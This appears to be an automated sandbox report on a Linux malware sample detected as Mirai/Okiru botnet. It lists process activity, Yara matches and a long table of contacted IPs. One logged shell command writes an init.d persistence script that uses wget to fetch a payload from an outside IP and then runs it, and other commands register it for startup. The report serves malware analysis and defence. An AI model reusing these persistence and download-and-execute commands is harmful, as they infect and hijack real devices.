Source: /tmp/newsample (PID: 6333) File opened: /proc/6435/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6427/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6426/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6429/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6428/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/newsample (PID: 6282) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/newsample (PID: 6315) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/newsample (PID: 6321) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/newsample (PID: 6323) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh" Jump to behavior
Source: /tmp/newsample (PID: 6324) Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1" Jump to behavior
Source: /tmp/newsample (PID: 6326) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/newsample (PID: 6328) Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6316) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6325) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6327) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6211) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.KGmKPPHcMf /tmp/tmp.6tfchMR5XJ /tmp/tmp.tFw6jbg2P6 Jump to behavior
Source: /usr/bin/dash (PID: 6220) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.KGmKPPHcMf /tmp/tmp.6tfchMR5XJ /tmp/tmp.tFw6jbg2P6 Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6284) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/newsample (PID: 6242) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6316) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6325) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/newsample (PID: 6242) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/newsample (PID: 6242) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6323) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/newsample (PID: 6242) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6323) File: /etc/init.d/sh Jump to dropped file
Source: newsample, 6252.1.000000000090b000.000000000090d000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: newsample, type: SAMPLE
Source: Yara match File source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: newsample, type: SAMPLE
Source: Yara match File source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: newsample PID: 6242, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: newsample PID: 6252, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: newsample, type: SAMPLE
Source: Yara match File source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: newsample, type: SAMPLE
Source: Yara match File source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: newsample PID: 6242, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: newsample PID: 6252, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
152.185.199.77
 unknown United States
701 UUNETUS false
223.253.184.139
 unknown Korea Republic of
9842 LDCC-ASLotteDataCommunicationCompanyKR false
164.202.209.137
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
34.19.143.62
 unknown United States
2686 ATGS-MMD-ASUS false
119.138.255.18
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
180.35.209.103
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
154.101.102.83
 unknown Sudan
36998 SDN-MOBITELSD false
215.130.183.33
 unknown United States
721 DNIC-ASBLK-00721-00726US false
5.236.182.131
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
154.148.133.157
 unknown Morocco
6713 IAM-ASMA false
94.117.70.188
 unknown United Kingdom
41012 THECLOUDGB false
90.65.173.120
 unknown France
3215 FranceTelecom-OrangeFR false
213.235.50.149
 unknown United Kingdom
8190 MDNXGB false
120.171.147.81
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
85.169.87.156
 unknown France
21502 ASN-NUMERICABLEFR false
199.225.18.193
 unknown United States
721 DNIC-ASBLK-00721-00726US false
20.210.129.227
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
150.95.8.77
 unknown Japan 58791 GMOOSK-NETGMOInternetIncJP false
144.68.44.153
 unknown United States
3243 MEO-RESIDENCIALPT false
3.130.88.199
 unknown United States
16509 AMAZON-02US false
55.165.247.42
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
211.127.6.115
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
191.144.172.119
 unknown Colombia
26611 COMCELSACO false
22.197.33.213
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
94.221.110.100
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
56.22.8.176
 unknown United States
2686 ATGS-MMD-ASUS false
117.171.247.195
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
119.196.220.220
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
91.53.28.185
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
179.176.176.2
 unknown Brazil
18881 TELEFONICABRASILSABR false
169.57.96.44
 unknown United States
36351 SOFTLAYERUS false
28.171.142.137
 unknown United States
7922 COMCAST-7922US false
5.154.251.104
 unknown Bosnia and Herzegowina
57869 MISSNETBA false
140.112.92.115
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
143.145.38.253
 unknown United States
385 AFCONC-BLOCK1-ASUS false
74.176.24.28
 unknown United States
10796 TWC-10796-MIDWESTUS false
69.157.113.93
 unknown Canada
577 BACOMCA false
44.20.251.177
 unknown United States
7377 UCSDUS false
57.218.165.195
 unknown Belgium
2686 ATGS-MMD-ASUS false
203.134.152.137
 unknown Australia
9443 VOCUS-RETAIL-AUVocusRetailAU false
18.65.9.143
 unknown United States
3 MIT-GATEWAYSUS false
179.68.200.22
 unknown Brazil
7738 TelemarNorteLesteSABR false
94.35.212.79
 unknown Italy
8612 TISCALI-IT false
150.82.235.196
 unknown Japan 23793 AISTNationalInstituteofAdvancedIndustrialScienceandT false
102.138.138.72
 unknown Cote D'ivoire
36974 AFNET-ASCI false
177.66.61.120
 unknown Brazil
262488 MinasnetTelecomunicacoesLtdaBR false
186.102.79.41
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
96.26.148.92
 unknown United States
16625 AKAMAI-ASUS false
68.47.215.40
 unknown United States
7922 COMCAST-7922US false
110.18.232.150
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
69.18.88.225
 unknown United States
22561 CENTURYLINK-LEGACY-LIGHTCOREUS false
206.208.101.136
 unknown United States
33026 SHAKLEE1US false
93.165.142.202
 unknown Denmark
3292 TDCTDCASDK false
30.209.105.215
 unknown United States
7922 COMCAST-7922US false
182.252.12.251
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
110.147.110.39
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
196.155.62.154
 unknown Egypt
36935 Vodafone-EG false
178.159.227.68
 unknown Ukraine
1001 GONET-ASN-17CA false
89.93.74.133
 unknown France
5410 BOUYGTEL-ISPFR false
107.184.55.106
 unknown United States
20001 TWC-20001-PACWESTUS false
160.191.154.80
 unknown unknown
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
154.143.192.224
 unknown Egypt
37069 MOBINILEG false
8.74.174.44
 unknown United States
3356 LEVEL3US false
157.0.52.5
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
97.229.42.18
 unknown United States
6167 CELLCO-PARTUS false
104.106.22.167
 unknown United States
6453 AS6453US false
16.212.33.24
 unknown United States
unknown unknown false
108.77.57.33
 unknown United States
7018 ATT-INTERNET4US false
139.185.147.136
 unknown United States
794 ORACLE-ASNBLOCK-ASNUS false
153.228.124.216
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
51.75.77.30
 unknown France
16276 OVHFR false
108.246.241.89
 unknown United States
7018 ATT-INTERNET4US false
96.138.193.5
 unknown United States
7922 COMCAST-7922US false
77.248.191.216
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
41.41.25.158
 unknown Egypt
8452 TE-ASTE-ASEG false
159.73.68.124
 unknown Australia
1257 TELE2EU false
152.246.39.188
 unknown Brazil
26599 TELEFONICABRASILSABR false
5.163.176.167
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
192.102.49.74
 unknown Finland
719 ELISA-ASHelsinkiFinlandEU false
70.18.20.73
 unknown United States
701 UUNETUS false
220.10.163.191
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
24.175.140.96
 unknown United States
11427 TWC-11427-TEXASUS false
220.245.170.61
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
174.205.7.155
 unknown United States
22394 CELLCOUS false
50.106.16.204
 unknown United States
27017 ZIPLY-FIBER-LEGACY-ASNUS false
98.5.16.226
 unknown United States
11351 TWC-11351-NORTHEASTUS false
120.250.83.195
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
217.137.58.145
 unknown United Kingdom
5089 NTLGB false
96.247.133.7
 unknown United States
701 UUNETUS false
103.111.205.106
 unknown Indonesia
137601 UNISP-AS-INMPCommoditiesPrivateLtdIN false
121.13.148.230
 unknown China
58543 CHINATELECOM-GUANGDONG-IDCGuangdongCN false
188.62.249.197
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
165.110.176.46
 unknown United States
4185 ATTIS-ASN4185US false
54.101.96.96
 unknown United States
16509 AMAZON-02US false
3.221.126.11
 unknown United States
14618 AMAZON-AESUS false
187.177.161.126
 unknown Mexico
6503 AxtelSABdeCVMX false
109.90.116.213
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
159.151.209.75
 unknown France
203926 SGT-HK false
202.96.65.115
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
29.198.125.39
 unknown United States
7922 COMCAST-7922US false